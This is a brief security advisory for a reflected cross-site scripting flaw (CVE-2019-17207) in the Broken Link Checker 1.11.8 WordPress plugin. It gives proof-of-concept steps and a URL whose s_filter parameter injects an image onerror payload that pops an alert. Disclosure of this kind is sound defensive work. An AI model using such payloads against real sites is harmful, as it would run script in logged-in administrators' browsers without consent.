WordPress Broken Link Checker 1.11.8 Cross Site Scripting

2019.10.17
Credit: Ismail Doe
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

Document Title =============== Reflected XSS via `Broken Link Checker` v.1.11.8 WordPress plugin. Product Description =============== Broken Link Checker will monitor your blog looking for broken links and let you know if any are found. Homepage: https://managewp.com/ WordPress Plugin: https://wordpress.org/plugins/broken-link-checker/ PoC =============== 1) Login to your wordpress webpage 2) Navigate to the following page (Make sure the `s_link_text` parameter returns a valid link on your blog: http://localhost:8889/wp-admin/tools.php?page=view-broken-links&filter_id=search&s_link_text=word&s_link_url&s_http_code&s_filter=%27%3E%22%3E%3Cimg%20src%3D1%20onerror%3Dalert(1337)%3E&s_link_type&search_button=Search+Links 3) Note the form alerts and the payload within the `s_filter` parameter executed. CVE-2019-17207


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